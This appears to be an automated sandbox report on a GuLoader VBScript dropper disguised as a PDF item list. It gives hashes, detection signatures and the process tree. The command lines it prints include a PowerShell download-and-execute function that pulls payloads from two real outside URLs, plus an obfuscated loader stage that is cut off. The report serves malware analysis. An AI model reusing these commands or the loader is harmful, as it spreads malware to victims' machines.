Edit tour
Windows
Analysis Report
List of required items pdf.vbs
Overview
General Information
| Sample name: | List of required items pdf.vbs |
| Analysis ID: | 1570909 |
| MD5: | 7a2fecd3fa4682640852fccca6142d7b |
| SHA1: | 03caabad517de4230334deea7d5b921a9f93af89 |
| SHA256: | 6a28416ceedf427bd32a4125f1635b308c630c40581eeb818f2f262867fcf476 |
| Tags: | 185-236-228-92vbsuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 8180 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\List of require d items pd f.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7364 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command f unction Do wnloadAndR un([string ]$url, [st ring]$dest ination) { Invoke-We bRequest - Uri $url - OutFile $d estination ; Start-P rocess -Fi lePath $de stination -Wait };Do wnloadAndR un -url 'h ttps://www .astenterp rises.com. pk/km/km.v bs' -desti nation 'C: \Users\Pub lic\gcoos4 1rxz5ix.vb s';Downloa dAndRun -u rl 'https: //www.forn id.com/ab/ List%20of% 20required %20items.x lsx' -dest ination 'C :\Users\Pu blic\etoui rlgsb3h.xl sx' MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 2968 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7940 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\Public \gcoos41rx z5ix.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WMIC.exe (PID: 2908 cmdline: wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 6612 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6636 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Polars2 29='Afkvis tning158'; ;$Navier=' kompetence givende';; $Ndudgange n9='semipr eserved';; $Straalepl etten='Kna ldgassen'; ;$Forhales =$host.Nam e;function Tilbageho ldte($Sati risation){ If ($Forha les) {$Non anarchical ly=2} for ($Jurywoma n=$Nonanar chically;; $Jurywoman +=3){if(!$ Satirisati on[$Jurywo man]){cls; break }$Ha lomancy+=$ Satirisati on[$Jurywo man];$Hive ward='Schw eizerosten s'}$Haloma ncy}functi on Contain eriseringe rs($Taltes 213){ .($M urage) ($T altes213)} $Plagen=Ti lbageholdt e ' SNRee gt c. Uw'; $Plagen+=T ilbagehold te ' ae aB .lC.ulE i EeSiN at'; $Moonscape =Tilbageho ldte 'B,MC oo,tz,hi S l,al Cao / ';$elegike r=Tilbageh oldte ' aT TlFlsto1F o2';$Ungen eral='Ar[T .npuEM TM .BiSDuE rF eV ITrc oE PaP.poNaIS unIstS.MRi AAmNBua nG HaESdr M]K n:So:StsC eSeCFaU yr aI utA,y RpAlrMaoU t OKoCKoot aL,u=Pe$ e EB.lS eFlg OiOmK BeB ir';$Moons cape+=Tilb ageholdte 'Mo5Gu. u0 La G( LW v iKrnT d oK awCosVi O. NHeTRe i1A e0 r.Ap0Sl ;st ,eW Si .nH 6Bo4D r; u ,ix i 6 H4O,;Ke Lur RvA :P i1L 3Fo1Va .Bu0Ab) d ,GBae cDek Hao /tr2Va 0Re1E.0an0 M1As0Ne1 L TiFSei M rNeeSef Co Drx o/R 1C y3 T1.o.So 0';$Retran sform=Tilb ageholdte ' FUT sC,e Teris-skA ag,eeRen C t';$Automa tteoriens= Tilbagehol dte 'RuhSa th.tSpp js E :Qu/ e/T w Tw OwKr . vfVitGas Mae n gKri S nTreSte rL.sTr. Ac RoT.mF /R ekSpmG./Re mLyimecNar P.oHocOvhT heDri SlRe iW a L.Sid Kw.rp Q> jh lt It.o pEvsFo:hy/ e/N w CwS kwfu. opAf u bn eS.e itfa.Tra e esl/HykRum Ga/ vmE,iH uc CrSmoG cDrh .e Hi PalK iWaaC ,. rd w op ';$Sterne= Tilbagehol dte 'Bi>'; $Murage=Ti lbageholdt e 'BeiEaEF rX';$Svejs emestre='T eddybjrnen es';$Grote skes='\bet hink.Sal'; Containeri seringers (Tilbageho ldte 'K.$F ogUdl iO.e BRoA,mlk,: SeeCaN HER iB rrH rCh i SCuEDiNA leH SSa=Af $ .EflnTrv I: Fa uPA np D.eAMet aKr+S,$Kn g cR,doK t RuE oSReK E.as');Con taineriser ingers (Ti lbageholdt e 'Sc$Ovg .LTho ,b E AVrlSa:Vil UnA,nGRer CI.rn.pg S sArFBlO TR S M .3Re7G o=E $ .A.j uFlt O oM hA eTLaT.o eThoc R Pi SpeFoN rS A.KlsN pUn L ri STHo( Sl$PesJeT EArRG N yE Mu)');Cont aineriseri ngers (Til bageholdte $Ungenera l);$Automa tteoriens= $Lagringsf orm37[0];$ Bygders=(T ilbagehold te ' P$brg T lS O Sb. uAC L : Pb AmIS,RSkGB oiSpTQuTH iHjN MERar FrE BnSks .=F.NFieF wSt-SmoPeB Gyj BeHocK ,T US.nyJ oSStt GER M K.l $Sap DlBiaL.g eCoN');Con taineriser ingers ($B ygders);Co ntainerise ringers (T ilbagehold te '.o$PrB PeiCorD gP ri FtJ.t . i Sn heSor EreannKus i.OrHudeAr aMid,eeRar KosCa[Po$S tRHeeG.tSa r Oa,inSrs ShfK.oF rP rmS ]Fa=Gr $JeMSto Eo OvnPas,dcK ua gpSie') ;$Netmave= Tilbagehol dte ' S$ .